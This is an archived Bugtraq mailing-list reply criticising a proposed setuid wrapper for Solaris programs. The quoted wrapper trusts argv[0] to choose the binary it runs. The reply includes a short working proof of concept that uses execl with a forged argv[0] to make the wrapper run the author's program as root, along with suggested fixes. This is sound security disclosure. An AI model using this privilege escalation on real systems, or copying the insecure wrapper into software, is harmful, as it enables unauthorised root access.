[16777] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Format String Attacks

daemon@ATHENA.MIT.EDU (Drazen Kacar)
Thu Sep 14 18:38:12 2000

Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id:  <20000913212041.A20920@svarozic.srce.hr>
Date:         Wed, 13 Sep 2000 21:20:41 +0200
Reply-To: Drazen Kacar <dave@SRCE.HR>
From: Drazen Kacar <dave@SRCE.HR>
X-To:         Doug Hughes <Doug.Hughes@ENG.AUBURN.EDU>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <200009131509.KAA09328@galen.eng.auburn.edu>; from
              Doug.Hughes@ENG.AUBURN.EDU on Wed, Sep 13,
              2000 at 10:09:58AM -0500

Doug Hughes wrote:
> Since I don't recall anybody else posting one, here is a simple, generic,
> setuid wrapper that people could use around, for instance, /usr/bin/eject
> or other setuid programs.

The problem is that it's not going to work the way you expect. And you're
going to get a lot of mail telling you that. :-)

> /*
>  * This program provided AS IS with no warranty
>  * Copyright 2000, doug@eng.auburn.edu
>  * Use freely.
>  * The environment from the original program is completely obliviated
>  */
> #include <stdio.h>
> #include <stdlib.h>
>
>
> main (int argc, char *argv[]) {
>
> 	char *origfile;
> 	char *envp[1] = { (char *) NULL };
>
> 	if ((origfile = (char *) malloc(strlen(argv[0])+6)) == NULL) {
> 		perror("allocating memory");
> 		exit(1);
> 	}
> 	strcpy(origfile, argv[0]);
> 	strcat(origfile, ".orig");
>
> 	execve(origfile, argv, envp);
> }

Let's suppose you put this instead of /usr/bin/eject and give it 4555
mode, as the original has.

In /home/dave I have two programs:

prompt> cat root.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   printf("My euid is %d\n", geteuid());
   return 0;
}
prompt> cc root.c -o root.orig
prompt> ./root.orig
My euid is 100
prompt> cat buglet.c
#include <unistd.h>

int main()
{
   execl("/usr/bin/eject", "/home/dave/root", (char *)NULL);
   return 1;
}
prompt> cc buglet.c -o buglet
prompt> ./buglet
My euid is 0


You can't rely on argv[0], because any program can change that. On Solaris
you can use getexecname(3c) to get the name of the executed file. Symlinks
will be resolved. I don't know if it's possible to exploit some race
condition with it. It would be advisable to limit programs which you
execute to the trusted path, such as /usr/bin. Or a path prefix, at least.

Some programs (or administrators) will need environment variables, so
it would be nice just to remove the unwanted ones.

> ### Caveats ###
>
> This will not work with programs like ps that, on different architectures,
> are themselves wrappers around other programs (e.g. on 64 bit Solaris7/8
> calls /usr/bin/sparcv9/ps) because argv[0] is still the original program.
> So, /usr/bin/ps calls /usr/bin/sparcv9/ps (the setuid program wrapper)
> which checks argv and then calls /usr/bin/ps.orig which doesn't exist.
>
> Those will have to be handled on a case by case basis.

You can use isaexec(3c), which is what the original wrapper does, more
or less.

--
 .-.   .-.    I don't work for my employer.
(_  \ /  _)
     |        dave@srce.hr
     |        dave@fly.srk.fer.hr

home help back first fref pref prev next nref lref last post